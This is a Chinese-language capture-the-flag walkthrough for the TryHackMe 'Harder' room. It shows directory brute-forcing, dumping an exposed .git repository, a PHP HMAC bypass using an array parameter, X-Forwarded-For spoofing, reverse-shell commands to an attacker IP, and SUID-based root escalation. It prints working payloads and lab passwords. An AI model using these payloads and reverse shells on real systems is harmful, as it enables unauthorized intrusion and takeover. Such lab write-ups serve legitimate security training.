本篇文章讲述怎么做https://tryhackme.com/room/harder
注:由于免费账号只有1小时使用时间,所以下面显示的VM的IP各不相同,但不影响理解。
1、扫描端口,发现开启了22、80端口
nmap -sV -sC -oN nmap/initial 10.10.144.199
搜索nginx 1.18.0有没有可利用的漏洞,发现没有。
searchsploit nginx
2、 浏览器打开http://10.10.144.199,没有发现有用信息,仅显示一个404页面。
3、 执行gobuster搜索子目录
gobuster dir -u http://10.10.144.199/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50 --exclude-length 1985
找到phpinfo.php。
4、开启burpsuite,给http://10.10.247.61发包,发现响应中有domain=pwd.harder.local
编辑/etc/hosts,添加10.10.247.61 pwd.harder.local
让pws.harder.local可访问。随便试试admin admin,无法登录。
5、再次开启gobuster,搜索http://pwd.harder.local下的目录。发现了.git/HEAD等。
gobuster dir -u http://pwd.harder.local-w/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50
6、利用工具gitdumper.sh下载git文件。git checkout将文件迁出。
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh
./gitdumper.sh http://pwd.harder.local/.git/ git
git checkout *
发现4个文件,分别为.gitignore、auth.php、hmac.php、index.php。
7、查看关键文件hmac.php的逻辑:首先检查是否有h、host输入参数。如果有,则获取n输入参数,将其跟secret进行hmac计算,将计算出来的值再与host输入参数做hmac计算,要求算出的值与h输入参数相同。
google搜索:hmac php bypass,这个网页详细讲述了php跳过hmac的原理
https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up/
php跳过hmac的技巧:
只要n为数组,则secret会返回false
$secret = hash_hmac('sha256', $_GET['n'], $secret);
写一个test.php测试,$hmac返回false
<?php
$hmac =hash_hmac('sha256', Array(), "SecretKey");
echo$hmac = = false;
?>
执行test.php,返回1。
假设host=google.com,直接算出hmac并将其赋给h即可满足条件。
test2.php
<?php
$hm =hash_hmac('sha256', 'google.com', false);
echo $hm
?>
17343667cb7056b9d7df53076482d30f8a7ef19ec6c1fe50438af4339891f030
综上所述,构造如下URL可满足hmac.php
/index.php?h=17343667cb7056b9d7df53076482d30f8a7ef19ec6c1fe50438af4339891f030&host=google.com&n[]=
将响应页面展示在浏览器中
至此,获得了evs的密码:9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm。
8、修改/etc/hosts以便访问shell.harder.local
输入evs 9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm
显示仅为10.10.10.x范围内的IP地址才能访问。
在头部添加X-Forwarded-For,并设置数值为任意10.10.10.0/24,就能显示页面。这是个命令执行。
9、利用命令执行让kali获得反向连接。
将请求方法由GET改为POST,并提交cmd=whoami,页面显示www。
我们尝试将cmd改为反向shell。此处的IP需要改为Kali Linux的。
cmd=bash -i >& /dev/tcp/kali-IP/10000 0>&1
将其进行URL编码(快捷键Ctrl + u),仅将空格变为+。
用reverse shell不行,kali开启10000端口的监听,收不到连接。
用nc,kali收到连接信息,但是被kill了。
换成另一个办法:
在burpsuite中将cmd设置为cmd=nc+kali-IP+10000+-e+/bin/sh。
kali开启端口10000,可以收到连接。
10、反向连接上执行linpeas.sh,检查受害VM有什么可利用的弱点?
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230418-edede4b8/linpeas.sh
kali端执行nc,监听5555端口,并将linpeas.sh传入。
nc -lvp 5555 < linpeas.sh
在受攻击端执行如下命令,相当于下载了linpeas.sh脚本。
/usr/bin/nc kali-IP 5555 > /tmp/linpeas.sh
执行linpeas.sh发现了开启的端口,系统有3个用户,可疑的脚本/usr/local/bin/run-crypted.sh、可获取SUID权限的命令/usr/local/bin/execute-crypted。疑似备份的脚本/etc/periodic/15min/evs-backup.sh。
系统中有evs用户。尝试ssh登录,提示“Could not resolve hostname harder.local”。可以在/etc/hosts添加一行IP harder.local解决。
ssh evs@harder.local
粘贴之前获得evs账户密码9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm。提示Permission denied。说明密码错误。输入从evs-backup.sh中获得evs的ssh密码:U6j1brxGqbsUA$pMuIodnb$SZB4$bw14,可以登录。
查看当前目录下的user.txt,获取user Flag
打开/etc/periodic/15min/evs-backup.sh,发现了evs的ssh密码:U6j1brxGqbsUA$pMuIodnb$SZB4$bw14。
查看run-crypted.sh内容:生成要执行的命令,然后execute-crypted运行gpg用root@harder.local密钥加密的命令。
execute-crypted具有SUID权限。在执行过程中,调用者会暂时获得该文件的所有者权限。execute-crypted属主为root,当我们通过非root用户登录时,由于execute-crypted设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。利用此特性,我们可通过SUID进行提权。
根据前面的run-crypted.sh,搜索root@harder.local密钥。
find / -name "root@harder*" 2>/dev/null
将root的公钥导入gpg,在当前目录的.gnupg下生成trustdb.gpg、pubring.kbx。
gpg --import /var/backup/root@harder.local.pub
nc监听4445端口,执行cmd.gpg后将出现连接。此时发现uid变成了root。查看/root/root.txt,获得root Flag。
生成一条反向连接本机的命令cmd,给它添加执行权限,用root@harder.local的公钥加密cmd并执行。
echo "nc kali-IP 4445 -e /bin/sh" > cmd
chmod +x cmd
gpg -r root@harder.local -e cmd //将生成cmd.gpg文件
/usr/local/bin/execute-crypted cmd.gpg //执行cmd.gpg